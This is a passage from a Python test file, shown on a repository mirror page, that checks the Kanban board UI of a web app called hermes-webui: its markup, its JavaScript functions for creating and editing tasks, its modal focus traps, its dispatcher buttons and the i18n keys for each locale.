mirror of
https://github.com/nesquena/hermes-webui.git
synced 2026-05-25 11:10:18 +00:00
63d75df818
# Conflicts: # CHANGELOG.md
1194 lines
51 KiB
Python
1194 lines
51 KiB
Python
from pathlib import Path
|
|
import re
|
|
|
|
ROOT = Path(__file__).resolve().parents[1]
|
|
INDEX = (ROOT / "static" / "index.html").read_text(encoding="utf-8")
|
|
PANELS = (ROOT / "static" / "panels.js").read_text(encoding="utf-8")
|
|
STYLE = (ROOT / "static" / "style.css").read_text(encoding="utf-8")
|
|
I18N = (ROOT / "static" / "i18n.js").read_text(encoding="utf-8")
|
|
COMPACT_INDEX = re.sub(r"\s+", "", INDEX)
|
|
COMPACT_PANELS = re.sub(r"\s+", "", PANELS)
|
|
COMPACT_STYLE = re.sub(r"\s+", "", STYLE)
|
|
|
|
|
|
def _locale_blocks_with_body(i18n_text: str):
|
|
locale_blocks = re.findall(
|
|
r"\n\s*(?:'(?P<quoted>[a-z]{2}(?:-[A-Z][A-Za-z]+)?)'|(?P<plain>[a-z]{2}(?:-[A-Z]{2})?))\s*:\s*\{(.*?)\n\s*\},",
|
|
i18n_text,
|
|
flags=re.S,
|
|
)
|
|
return [(quoted or plain, body) for quoted, plain, body in locale_blocks]
|
|
|
|
|
|
def test_kanban_has_native_sidebar_rail_and_mobile_tab():
|
|
assert 'data-panel="kanban"' in INDEX
|
|
assert 'data-i18n-title="tab_kanban"' in INDEX
|
|
# Allow either the legacy `switchPanel('kanban')` form or the rail-click-aware
|
|
# `switchPanel('kanban',{fromRailClick:true})` form. The sidebar-collapse PR
|
|
# added the second-arg opts to all rail buttons so the same-active-icon click
|
|
# can toggle the sidebar; legacy callsites elsewhere may still use the bare form.
|
|
assert ('onclick="switchPanel(\'kanban\')"' in INDEX
|
|
or "onclick=\"switchPanel('kanban',{fromRailClick:true})\"" in INDEX), \
|
|
"kanban rail/mobile button must call switchPanel('kanban') (with or without fromRailClick opts)"
|
|
assert 'data-label="Kanban"' in INDEX
|
|
kanban_section = INDEX[INDEX.find('id="mainKanban"'):INDEX.find('id="mainWorkspaces"')]
|
|
assert "<iframe" not in kanban_section.lower()
|
|
|
|
|
|
def test_kanban_has_sidebar_panel_and_main_board_mounts():
|
|
assert '<div class="panel-view" id="panelKanban">' in INDEX
|
|
assert 'id="kanbanSearch"' in INDEX
|
|
assert 'id="kanbanAssigneeFilter"' in INDEX
|
|
assert 'id="kanbanTenantFilter"' in INDEX
|
|
assert 'id="kanbanIncludeArchived"' in INDEX
|
|
assert 'id="kanbanList"' in INDEX
|
|
assert '<div id="mainKanban" class="main-view">' in INDEX
|
|
assert 'id="kanbanBoard"' in INDEX
|
|
assert 'id="kanbanTaskPreview"' in INDEX
|
|
|
|
|
|
def test_switch_panel_lazy_loads_kanban_and_toggles_main_view():
|
|
assert "'kanban'" in re.search(r"\[[^\]]+\]\.forEach\(p => \{\s*mainEl\.classList", PANELS).group(0)
|
|
assert "if (nextPanel === 'kanban') await loadKanban();" in PANELS
|
|
assert "if (_currentPanel === 'kanban') await loadKanban();" in PANELS
|
|
|
|
|
|
def test_kanban_frontend_uses_relative_api_endpoints():
|
|
assert "'/api/kanban/board" in PANELS
|
|
assert "api('/api/kanban/tasks/" in PANELS
|
|
assert "api('/api/kanban/config" in PANELS
|
|
assert "fetch('/api/kanban" not in PANELS
|
|
assert "kanbanTaskPreview" in PANELS
|
|
assert "classList.add('selected')" in PANELS
|
|
|
|
|
|
def test_kanban_task_detail_renders_read_only_sections():
|
|
assert "function _kanbanRenderTaskDetail" in PANELS
|
|
for payload_key in ("data.comments", "data.events", "data.links", "data.runs"):
|
|
assert payload_key in PANELS
|
|
for section_class in (
|
|
"kanban-detail-section",
|
|
"kanban-detail-comments",
|
|
"kanban-detail-events",
|
|
"kanban-detail-links",
|
|
"kanban-detail-runs",
|
|
):
|
|
assert section_class in PANELS
|
|
assert "method: 'POST'" not in PANELS[PANELS.find("async function loadKanbanTask"):PANELS.find("function loadTodos")]
|
|
|
|
|
|
|
|
def test_kanban_write_mvp_has_native_controls_and_api_calls():
|
|
assert 'id="kanbanNewTaskBtn"' in INDEX
|
|
assert "async function createKanbanTask" in PANELS
|
|
assert "async function updateKanbanTask" in PANELS
|
|
assert "async function addKanbanComment" in PANELS
|
|
# The exact tail varies because the multi-board PR appends
|
|
# _kanbanBoardQuery() to most kanban API URLs. Match with looser
|
|
# substring assertions that survive that suffix.
|
|
assert "api('/api/kanban/tasks'" in PANELS
|
|
assert "method: 'POST'" in PANELS
|
|
assert "'/api/kanban/tasks/' + encodeURIComponent(taskId)" in PANELS
|
|
assert "method: 'PATCH'" in PANELS
|
|
assert "'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/comments'" in PANELS
|
|
assert "kanban-status-actions" in PANELS
|
|
assert "kanban-comment-form" in PANELS
|
|
|
|
|
|
def test_kanban_new_task_header_button_opens_modal():
|
|
"""Regression: the panel-head '+' button must open a real `.kanban-modal-overlay`
|
|
create-task modal (matching the existing create-board modal pattern in the same
|
|
file) — NOT silently return when the inline #kanbanNewTaskTitle input is empty.
|
|
|
|
Previously the header button was wired straight to createKanbanTask(), which
|
|
silently early-exits on empty title — the button looked completely dead.
|
|
Now the header button calls openKanbanCreate(), which opens the
|
|
#kanbanTaskModal overlay with title / description / status / priority /
|
|
assignee / tenant fields.
|
|
"""
|
|
# 1. Header "+" button is wired to openKanbanCreate(), NOT createKanbanTask().
|
|
assert 'id="kanbanNewTaskBtn"' in INDEX
|
|
btn_html = INDEX[INDEX.find('id="kanbanNewTaskBtn"'):]
|
|
btn_html = btn_html[: btn_html.find("</button>") + len("</button>")]
|
|
assert 'onclick="openKanbanCreate()"' in btn_html, (
|
|
"Panel-head '+' button must call openKanbanCreate() (modal), not "
|
|
"createKanbanTask() directly (which silently returns on empty title)."
|
|
)
|
|
|
|
# 2. The create-task modal markup exists in index.html, with all the field
|
|
# ids the JS / API contract expects.
|
|
assert 'id="kanbanTaskModal"' in INDEX
|
|
assert 'class="kanban-modal-overlay"' in INDEX[INDEX.find('id="kanbanTaskModal"') - 80:]
|
|
for field_id in (
|
|
"kanbanTaskModalTitleInput",
|
|
"kanbanTaskModalBody",
|
|
"kanbanTaskModalStatus",
|
|
"kanbanTaskModalPriority",
|
|
"kanbanTaskModalAssignee",
|
|
"kanbanTaskModalTenant",
|
|
"kanbanTaskModalError",
|
|
"kanbanTaskModalSubmit",
|
|
):
|
|
assert f'id="{field_id}"' in INDEX, f"create-task modal missing #{field_id}"
|
|
|
|
# 3. Modal closes via Cancel button AND backdrop click AND ESC.
|
|
assert 'onclick="closeKanbanTaskModal()"' in INDEX
|
|
assert "if(event.target===this)closeKanbanTaskModal()" in INDEX
|
|
|
|
# 4. openKanbanCreate() unhides the modal, focuses the title field, populates
|
|
# assignee/tenant datalists, binds keydown listener.
|
|
assert "function openKanbanCreate()" in PANELS
|
|
open_fn = re.search(
|
|
r"function openKanbanCreate\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
)
|
|
assert open_fn, "openKanbanCreate() not found"
|
|
body = open_fn.group(1)
|
|
assert "modal.hidden = false" in body
|
|
# Assignee is now a <select> populated from /api/profiles + board history,
|
|
# tenant is still a free-text <input> backed by a datalist.
|
|
assert "_kanbanPopulateAssigneeSelect" in body, (
|
|
"openKanbanCreate must populate the assignee <select> from /api/profiles."
|
|
)
|
|
assert "_kanbanPopulateTenantDatalist" in body
|
|
assert "_kanbanTaskModalKey" in body # ESC + Enter handler attached
|
|
|
|
# 5. closeKanbanTaskModal() hides the modal and unbinds the listener.
|
|
assert "function closeKanbanTaskModal()" in PANELS
|
|
close_fn = re.search(
|
|
r"function closeKanbanTaskModal\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
)
|
|
assert close_fn and "modal.hidden = true" in close_fn.group(1)
|
|
assert "removeEventListener('keydown', _kanbanTaskModalKey)" in close_fn.group(1)
|
|
|
|
# 6. ESC closes; Enter submits (except in the description textarea).
|
|
assert "function _kanbanTaskModalKey" in PANELS
|
|
key_fn = re.search(
|
|
r"function _kanbanTaskModalKey\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
)
|
|
assert key_fn
|
|
key_body = key_fn.group(1)
|
|
assert "ev.key === 'Escape'" in key_body
|
|
assert "ev.key === 'Enter'" in key_body
|
|
assert "TEXTAREA" in key_body # textarea exception preserved
|
|
|
|
# 7. submitKanbanTaskModal() POSTs to /api/kanban/tasks, closes modal,
|
|
# reloads board, opens detail.
|
|
assert "async function submitKanbanTaskModal()" in PANELS
|
|
submit_fn = re.search(
|
|
r"async function submitKanbanTaskModal\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
)
|
|
assert submit_fn, "submitKanbanTaskModal() not found"
|
|
submit_body = submit_fn.group(1)
|
|
assert "api('/api/kanban/tasks'" in submit_body
|
|
assert "method: 'POST'" in submit_body
|
|
assert "JSON.stringify(payload)" in submit_body
|
|
assert "closeKanbanTaskModal()" in submit_body
|
|
assert "loadKanban(true)" in submit_body
|
|
assert "loadKanbanTask" in submit_body
|
|
|
|
# 8. Inline quick-add still works for power-users — typing a title + Enter
|
|
# creates immediately. Empty submit falls through to the modal.
|
|
assert "async function createKanbanTask()" in PANELS
|
|
quick_add = re.search(
|
|
r"async function createKanbanTask\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
)
|
|
assert quick_add
|
|
qa_body = quick_add.group(1)
|
|
assert "openKanbanCreate()" in qa_body, (
|
|
"Empty inline-input submit must open the modal, not silently return."
|
|
)
|
|
assert "api('/api/kanban/tasks'" in qa_body
|
|
|
|
|
|
def test_kanban_task_detail_has_edit_button_and_modal_supports_edit_mode():
|
|
"""The Kanban task detail view must surface an Edit button — the previous
|
|
detail view exposed only status-transition buttons (Triage/Todo/Ready/...),
|
|
Block/Unblock, and Add comment, with no way to edit the title, body,
|
|
assignee, tenant, or priority of a task once created.
|
|
|
|
Backend supports it (PATCH /api/kanban/tasks/<id> with title/body/assignee/
|
|
tenant/priority — see _patch_task in api/kanban_bridge.py); this regression
|
|
pins the UI surface.
|
|
"""
|
|
# 1. _kanbanRenderTaskDetail emits an Edit button wired to openKanbanEdit.
|
|
render_match = re.search(
|
|
r"function _kanbanRenderTaskDetail\(data\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
)
|
|
assert render_match, "_kanbanRenderTaskDetail() not found"
|
|
render_body = render_match.group(1)
|
|
assert 'class="kanban-edit-btn"' in render_body or "kanban-edit-btn" in render_body, (
|
|
"Task detail view must include the Edit button (.kanban-edit-btn)."
|
|
)
|
|
assert "openKanbanEdit(" in render_body, (
|
|
"Edit button must invoke openKanbanEdit(taskId)."
|
|
)
|
|
|
|
# 2. openKanbanEdit() exists and pre-fills the modal from a fetched task.
|
|
open_edit_match = re.search(
|
|
r"async function openKanbanEdit\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
)
|
|
assert open_edit_match, "openKanbanEdit() not found"
|
|
open_edit_body = open_edit_match.group(1)
|
|
assert "/api/kanban/tasks/" in open_edit_body
|
|
assert "_kanbanTaskModalMode = 'edit'" in open_edit_body
|
|
assert "_kanbanTaskModalEditingId = task.id" in open_edit_body
|
|
|
|
# 3. submitKanbanTaskModal branches to PATCH for edit, POST for create.
|
|
submit_match = re.search(
|
|
r"async function submitKanbanTaskModal\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
)
|
|
assert submit_match
|
|
submit_body = submit_match.group(1)
|
|
assert "method: 'PATCH'" in submit_body, (
|
|
"submitKanbanTaskModal must PATCH /api/kanban/tasks/<id> in edit mode."
|
|
)
|
|
assert "method: 'POST'" in submit_body, "Create path still POSTs."
|
|
assert "_kanbanTaskModalEditingId" in submit_body
|
|
# Edit-mode title-bar / button labels.
|
|
assert "kanban_edit_task" in PANELS
|
|
label_match = re.search(
|
|
r"function _kanbanSetTaskModalLabels\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
)
|
|
assert label_match and "edit" in label_match.group(1)
|
|
|
|
|
|
def test_kanban_edit_mode_preserves_status_when_dropdown_untouched():
|
|
"""Regression: editing a task whose real status is non-editable in the
|
|
modal's status dropdown (running/blocked/done/archived → mapped to
|
|
'triage' for display) must NOT silently demote the task on save.
|
|
|
|
The dropdown only offers triage/todo/ready, so `_kanbanEditableStatusFor`
|
|
maps any other status to 'triage' for display. If the user just edits
|
|
the title and saves, the dropdown's 'triage' default would land in the
|
|
PATCH payload and the backend would call `_set_status_direct` which
|
|
reclaims any active worker and demotes the task.
|
|
|
|
Fix: track the displayed default in `_kanbanTaskModalInitialDisplayedStatus`
|
|
and only include `status` in the PATCH payload when the user actually
|
|
picked a different value.
|
|
"""
|
|
# 1. The tracking variable is declared at module scope.
|
|
assert "_kanbanTaskModalInitialDisplayedStatus" in PANELS, (
|
|
"Edit-mode status preservation requires tracking the initial displayed "
|
|
"status so submit can detect whether the user actually changed it."
|
|
)
|
|
assert 'id="kanbanTaskModalStatusOriginalHint"' in INDEX
|
|
assert "_kanbanSetTaskModalStatusHint" in PANELS
|
|
assert "kanban_status_original_hint" in I18N
|
|
assert ".kanban-status-original-hint" in STYLE
|
|
|
|
# 2. openKanbanEdit captures the initial displayed status from the task.
|
|
open_edit_match = re.search(
|
|
r"async function openKanbanEdit\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
)
|
|
assert open_edit_match, "openKanbanEdit() not found"
|
|
open_edit_body = open_edit_match.group(1)
|
|
assert "_kanbanTaskModalInitialDisplayedStatus" in open_edit_body, (
|
|
"openKanbanEdit must record the initial displayed status."
|
|
)
|
|
assert "_kanbanEditableStatusFor(task.status)" in open_edit_body
|
|
assert "_kanbanSetTaskModalStatusHint(originalStatus, initialDisplayedStatus)" in open_edit_body
|
|
assert "const originalStatus = task.status || initialDisplayedStatus" in open_edit_body
|
|
|
|
# 3. Submit's edit branch only sends status when it differs from the
|
|
# initial displayed value.
|
|
submit_match = re.search(
|
|
r"async function submitKanbanTaskModal\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
)
|
|
assert submit_match
|
|
submit_body = submit_match.group(1)
|
|
assert "statusVal !== _kanbanTaskModalInitialDisplayedStatus" in submit_body, (
|
|
"Edit submit must skip `status` in the payload when the dropdown's "
|
|
"displayed value is unchanged — otherwise running/blocked/done/archived "
|
|
"tasks get silently demoted on save."
|
|
)
|
|
|
|
# 4. openKanbanCreate explicitly nulls the tracker (create always sends).
|
|
create_match = re.search(
|
|
r"function openKanbanCreate\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
)
|
|
assert create_match
|
|
create_body = create_match.group(1)
|
|
assert "_kanbanTaskModalInitialDisplayedStatus = null" in create_body, (
|
|
"openKanbanCreate must reset the tracker to null so create-mode "
|
|
"submits always include status in the POST payload."
|
|
)
|
|
assert "_kanbanSetTaskModalStatusHint(null);" in create_body
|
|
|
|
# 5. closeKanbanTaskModal clears the tracker so a stale value can't leak
|
|
# into the next open.
|
|
close_match = re.search(
|
|
r"function closeKanbanTaskModal\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
)
|
|
assert close_match
|
|
close_body = close_match.group(1)
|
|
assert "_kanbanTaskModalInitialDisplayedStatus = null" in close_body
|
|
assert "_kanbanSetTaskModalStatusHint(null, null);" in close_body
|
|
|
|
|
|
def test_kanban_modal_focus_trap_helper_exists():
|
|
"""Shared focus-trap helper should exist and attach/remove Tab key handling."""
|
|
assert "function _trapModalFocus" in PANELS
|
|
fn = re.search(r"function _trapModalFocus\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
assert fn, "_trapModalFocus() not found"
|
|
fn_body = fn.group(1)
|
|
assert "addEventListener('keydown'" in fn_body
|
|
assert "removeEventListener('keydown'" in fn_body
|
|
assert "ev.key !== 'Tab'" in fn_body or "ev.key === 'Tab'" in fn_body
|
|
|
|
|
|
def test_kanban_task_modal_focus_trap_is_installed_and_removed():
|
|
"""Task modal open calls should install focus trap and close should tear it down."""
|
|
create_match = re.search(r"function openKanbanCreate\(\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
assert create_match, "openKanbanCreate() not found"
|
|
create_body = create_match.group(1)
|
|
assert "_kanbanTaskModalFocusCleanup = _trapModalFocus(modal);" in create_body
|
|
assert "if (_kanbanTaskModalFocusCleanup) {" in create_body
|
|
|
|
edit_match = re.search(r"async function openKanbanEdit\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
assert edit_match, "openKanbanEdit() not found"
|
|
edit_body = edit_match.group(1)
|
|
assert "_kanbanTaskModalFocusCleanup = _trapModalFocus(modal);" in edit_body
|
|
assert "if (_kanbanTaskModalFocusCleanup) {" in edit_body
|
|
|
|
close_match = re.search(r"function closeKanbanTaskModal\(\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
assert close_match, "closeKanbanTaskModal() not found"
|
|
close_body = close_match.group(1)
|
|
assert "if (_kanbanTaskModalFocusCleanup) {" in close_body
|
|
assert "_kanbanTaskModalFocusCleanup = null;" in close_body
|
|
|
|
|
|
def test_kanban_board_modal_focus_trap_is_installed_and_removed():
|
|
"""Board modal open calls should install focus trap and close should tear it down."""
|
|
create_board_match = re.search(r"function openKanbanCreateBoard\(\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
assert create_board_match, "openKanbanCreateBoard() not found"
|
|
create_board_body = create_board_match.group(1)
|
|
assert "_kanbanBoardModalFocusCleanup = _trapModalFocus(modal);" in create_board_body
|
|
assert "if (_kanbanBoardModalFocusCleanup) {" in create_board_body
|
|
|
|
rename_board_match = re.search(r"function openKanbanRenameBoard\(\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
assert rename_board_match, "openKanbanRenameBoard() not found"
|
|
rename_board_body = rename_board_match.group(1)
|
|
assert "_kanbanBoardModalFocusCleanup = _trapModalFocus(modal);" in rename_board_body
|
|
assert "if (_kanbanBoardModalFocusCleanup) {" in rename_board_body
|
|
|
|
close_board_match = re.search(r"function closeKanbanBoardModal\(\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
assert close_board_match, "closeKanbanBoardModal() not found"
|
|
close_board_body = close_board_match.group(1)
|
|
assert "if (_kanbanBoardModalFocusCleanup) {" in close_board_body
|
|
assert "_kanbanBoardModalFocusCleanup = null;" in close_board_body
|
|
|
|
|
|
def test_kanban_assignee_dropdown_uses_select_not_freetext():
|
|
"""Assignee must be a <select> populated from /api/profiles + board history,
|
|
not a free-text input. Free-text invites typos that the dispatcher silently
|
|
rejects (kanban_db.py:3567 "if not row[assignee]: skip"), and the dropdown
|
|
makes the dispatcher contract explicit.
|
|
"""
|
|
# The modal markup uses <select> for assignee, with a hint span explaining
|
|
# the dispatcher claim contract.
|
|
sel_idx = INDEX.find('id="kanbanTaskModalAssignee"')
|
|
assert sel_idx != -1, "kanbanTaskModalAssignee element not found"
|
|
# Walk back to find the opening tag — it must be a <select>, not <input>.
|
|
start = INDEX.rfind('<', 0, sel_idx)
|
|
tag_open = INDEX[start:sel_idx + 60]
|
|
assert tag_open.startswith('<select'), (
|
|
f"kanbanTaskModalAssignee must be a <select> element, got: {tag_open[:80]!r}"
|
|
)
|
|
|
|
# Hint element exists and references the dispatcher claim contract.
|
|
assert 'id="kanbanTaskModalAssigneeHint"' in INDEX
|
|
hint_idx = INDEX.find('id="kanbanTaskModalAssigneeHint"')
|
|
hint_block = INDEX[hint_idx:hint_idx + 400]
|
|
assert "Hermes profile" in hint_block or "data-i18n=\"kanban_assignee_hint\"" in hint_block
|
|
|
|
# The populator function loads from /api/profiles and groups options.
|
|
pop_match = re.search(
|
|
r"async function _kanbanPopulateAssigneeSelect\([^)]*\)\{(.*?)\n\}",
|
|
PANELS, re.DOTALL,
|
|
)
|
|
assert pop_match, "_kanbanPopulateAssigneeSelect() not found"
|
|
pop_body = pop_match.group(1)
|
|
assert "_kanbanLoadProfileNames" in pop_body
|
|
assert "<optgroup" in pop_body
|
|
assert 'value=""' in pop_body, (
|
|
"Must include the explicit empty 'Unassigned' fallthrough option."
|
|
)
|
|
|
|
# Profile loader hits /api/profiles.
|
|
load_match = re.search(
|
|
r"async function _kanbanLoadProfileNames\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
)
|
|
assert load_match
|
|
assert "/api/profiles" in load_match.group(1)
|
|
|
|
|
|
def test_kanban_run_dispatcher_button_exists_and_is_distinct_from_preview():
|
|
"""The previous Kanban UI only exposed `nudgeKanbanDispatcher()` — a
|
|
dry-run preview that never actually spawns workers — leaving users with
|
|
no way to run their tasks from the WebUI. There must now be a real
|
|
runKanbanDispatcher() entry point AND it must call /api/kanban/dispatch
|
|
WITHOUT dry_run=1, and the existing nudge button must still be a dry-run.
|
|
"""
|
|
# 1. runKanbanDispatcher() exists and dispatches without dry_run.
|
|
run_match = re.search(
|
|
r"async function runKanbanDispatcher\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
)
|
|
assert run_match, "runKanbanDispatcher() not found"
|
|
run_body = run_match.group(1)
|
|
assert "/api/kanban/dispatch" in run_body
|
|
# The real-run path must NOT contain dry_run=1.
|
|
assert "dry_run=1" not in run_body, (
|
|
"runKanbanDispatcher() must NOT pass dry_run=1 — that's the preview path."
|
|
)
|
|
# It MUST go through showConfirmDialog (not window.confirm) because it
|
|
# spawns workers — and the existing test_kanban_dashboard_parity_core_controls_are_native
|
|
# asserts no window.confirm/prompt calls in panels.js anyway.
|
|
assert "showConfirmDialog" in run_body, (
|
|
"runKanbanDispatcher() must use showConfirmDialog before spawning workers."
|
|
)
|
|
|
|
# 2. nudgeKanbanDispatcher() (the existing preview path) still uses dry_run=1.
|
|
nudge_match = re.search(
|
|
r"async function nudgeKanbanDispatcher\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
)
|
|
assert nudge_match
|
|
nudge_body = nudge_match.group(1)
|
|
assert "dry_run=1" in nudge_body, (
|
|
"nudgeKanbanDispatcher() must remain a dry-run preview (dry_run=1)."
|
|
)
|
|
|
|
# 3. The board-header has a button wired to runKanbanDispatcher().
|
|
assert 'id="btnKanbanRunDispatcher"' in INDEX
|
|
btn_idx = INDEX.find('id="btnKanbanRunDispatcher"')
|
|
# Search backward to the opening `<button` and forward to `</button>` to
|
|
# capture the full element (class= attribute precedes id= in the markup).
|
|
btn_start = INDEX.rfind('<button', 0, btn_idx)
|
|
btn_end = INDEX.find('</button>', btn_idx) + len('</button>')
|
|
btn_html = INDEX[btn_start:btn_end]
|
|
assert 'onclick="runKanbanDispatcher()"' in btn_html
|
|
# Distinct visual class so users can tell it apart from the preview button.
|
|
assert "kanban-run-dispatch-btn" in btn_html
|
|
|
|
# 4. The sidebar bulk bar also has a Run dispatcher button alongside the
|
|
# existing Preview button, so users in the filter pane can also run.
|
|
bulk_idx = INDEX.find("kanbanBulkBar")
|
|
bulk_html = INDEX[bulk_idx:bulk_idx + 1500]
|
|
assert 'onclick="runKanbanDispatcher()"' in bulk_html, (
|
|
"Sidebar bulk bar must also expose Run dispatcher."
|
|
)
|
|
# The dispatch result formatter exists and surfaces concrete numbers.
|
|
assert "function _kanbanFormatDispatchResult" in PANELS
|
|
fmt_match = re.search(
|
|
r"function _kanbanFormatDispatchResult\([^)]*\)\{(.*?)\n\}",
|
|
PANELS, re.DOTALL,
|
|
)
|
|
assert fmt_match
|
|
fmt_body = fmt_match.group(1)
|
|
for token in ("spawned", "skipped_unassigned", "skipped_nonspawnable", "promoted"):
|
|
assert token in fmt_body, f"dispatch summary missing field: {token}"
|
|
|
|
|
|
def test_kanban_dispatcher_inflight_guard_prevents_double_click_toast_confusion():
|
|
"""Guard against concurrent dispatch invocations in both nudge and real run paths."""
|
|
assert "let _kanbanIsDispatching = false;" in PANELS
|
|
assert "function _setKanbanDispatcherButtonsDisabled" in PANELS
|
|
|
|
run_match = re.search(r"async function runKanbanDispatcher\(\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
assert run_match, "runKanbanDispatcher() not found"
|
|
run_body = run_match.group(1)
|
|
assert "_kanbanIsDispatching" in run_body, (
|
|
"runKanbanDispatcher() must check or set _kanbanIsDispatching to block concurrent execution."
|
|
)
|
|
assert "finally" in run_body, "runKanbanDispatcher() must always clear _kanbanIsDispatching in finally."
|
|
assert "_setKanbanDispatcherButtonsDisabled(true)" in run_body, (
|
|
"runKanbanDispatcher() should disable both dispatcher buttons while posting."
|
|
)
|
|
assert "_setKanbanDispatcherButtonsDisabled(false)" in run_body, (
|
|
"runKanbanDispatcher() should re-enable dispatcher buttons when done."
|
|
)
|
|
|
|
nudge_match = re.search(r"async function nudgeKanbanDispatcher\(\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
assert nudge_match, "nudgeKanbanDispatcher() not found"
|
|
nudge_body = nudge_match.group(1)
|
|
assert "_kanbanIsDispatching" in nudge_body, (
|
|
"nudgeKanbanDispatcher() should also respect the dispatch in-flight guard."
|
|
)
|
|
assert "finally" in nudge_body, "nudgeKanbanDispatcher() should always clear guard in finally."
|
|
|
|
assert 'kanban-run-dispatch-btn' in INDEX
|
|
assert 'kanban-nudge-dispatch-btn' in INDEX
|
|
assert 'btnKanbanRunDispatcher' in INDEX
|
|
assert 'btnKanbanPreviewDispatcher' in INDEX
|
|
|
|
|
|
def test_kanban_board_has_native_css_classes():
|
|
for selector in (
|
|
".kanban-board",
|
|
".kanban-column",
|
|
".kanban-card",
|
|
".kanban-card-title",
|
|
".kanban-meta",
|
|
".kanban-readonly",
|
|
):
|
|
assert selector in STYLE
|
|
assert "overflow-x:auto" in COMPACT_STYLE
|
|
|
|
|
|
def test_kanban_main_view_scrolls_when_task_preview_is_tall():
|
|
"""The app shell keeps body overflow hidden, so the Kanban main view
|
|
must own vertical scrolling. Otherwise a selected task with a long body
|
|
can push the board below the viewport with no way to reach it.
|
|
"""
|
|
assert re.search(
|
|
r"main\.main\.showing-kanban\s*>\s*#mainKanban\s*\{[^}]*display:flex;[^}]*overflow-y:auto;",
|
|
COMPACT_STYLE,
|
|
), "Kanban main view must expose a vertical scrollbar when detail content is taller than the viewport"
|
|
|
|
|
|
def test_kanban_i18n_keys_exist_in_every_locale_block():
|
|
locale_blocks = _locale_blocks_with_body(I18N)
|
|
assert len(locale_blocks) >= 9
|
|
required_keys = [
|
|
"tab_kanban",
|
|
"kanban_board",
|
|
"kanban_search_tasks",
|
|
"kanban_all_assignees",
|
|
"kanban_all_tenants",
|
|
"kanban_include_archived",
|
|
"kanban_visible_tasks",
|
|
"kanban_no_matching_tasks",
|
|
"kanban_unavailable",
|
|
"kanban_read_only",
|
|
"kanban_empty",
|
|
"kanban_comments_count",
|
|
"kanban_events_count",
|
|
"kanban_links",
|
|
"kanban_runs_count",
|
|
"kanban_no_comments",
|
|
"kanban_no_events",
|
|
"kanban_no_runs",
|
|
"kanban_new_task",
|
|
"kanban_add_comment",
|
|
]
|
|
missing = [
|
|
f"{locale}:{key}"
|
|
for locale, body in locale_blocks
|
|
for key in required_keys
|
|
if re.search(rf"\b{re.escape(key)}\s*:", body) is None
|
|
]
|
|
assert missing == []
|
|
|
|
|
|
def test_kanban_modal_locale_parity():
|
|
"""Parity check for modal-facing Kanban i18n keys.
|
|
|
|
Any locale that already contains modal-facing Kanban strings should include the
|
|
same set of modal vocabulary so new additions don't regress into locale gaps.
|
|
"""
|
|
locale_blocks = _locale_blocks_with_body(I18N)
|
|
modal_keys = [
|
|
"kanban_title",
|
|
"kanban_description",
|
|
"kanban_description_placeholder",
|
|
"kanban_status",
|
|
"kanban_assignee",
|
|
"kanban_assignee_placeholder",
|
|
"kanban_tenant",
|
|
"kanban_tenant_placeholder",
|
|
"kanban_priority",
|
|
"kanban_priority_hint",
|
|
"kanban_title_required",
|
|
"kanban_status_original_hint",
|
|
]
|
|
anchor_key = "kanban_status"
|
|
missing = [
|
|
f"{locale}:{key}"
|
|
for locale, body in locale_blocks
|
|
if re.search(rf"\b{re.escape(anchor_key)}\s*:", body) is not None
|
|
for key in modal_keys
|
|
if re.search(rf"\b{re.escape(key)}\s*:", body) is None
|
|
]
|
|
assert missing == []
|
|
|
|
|
|
|
|
|
|
def test_kanban_dashboard_parity_core_controls_are_native():
|
|
assert 'id="kanbanOnlyMine"' in INDEX
|
|
assert 'id="kanbanBulkBar"' in INDEX
|
|
assert 'id="kanbanStats"' in INDEX
|
|
assert "async function nudgeKanbanDispatcher" in PANELS
|
|
assert "async function bulkUpdateKanban" in PANELS
|
|
assert "async function refreshKanbanEvents" in PANELS
|
|
for endpoint in (
|
|
"'/api/kanban/stats'",
|
|
"'/api/kanban/assignees'",
|
|
"'/api/kanban/events'",
|
|
"'/api/kanban/dispatch'",
|
|
"'/api/kanban/tasks/bulk'",
|
|
"'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/log'",
|
|
"'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/block'",
|
|
"'/api/kanban/tasks/' + encodeURIComponent(taskId) + '/unblock'",
|
|
):
|
|
assert endpoint in PANELS
|
|
# Live event delivery — either the legacy 30s setInterval polling OR
|
|
# the new SSE /api/kanban/events/stream subscription must be present.
|
|
# The multi-board PR replaced setInterval with EventSource as the
|
|
# default, falling back to setInterval after repeated SSE failures.
|
|
assert (
|
|
"setInterval(refreshKanbanEvents" in PANELS
|
|
or "new EventSource" in PANELS
|
|
), "Kanban must subscribe to live events via SSE or polling"
|
|
assert "prompt(" not in PANELS
|
|
assert "confirm(" not in PANELS
|
|
|
|
|
|
def test_kanban_dashboard_parity_i18n_keys_exist():
|
|
locale_blocks = _locale_blocks_with_body(I18N)
|
|
required_keys = [
|
|
"kanban_only_mine",
|
|
"kanban_bulk_action",
|
|
"kanban_nudge_dispatcher",
|
|
"kanban_work_queue_hint",
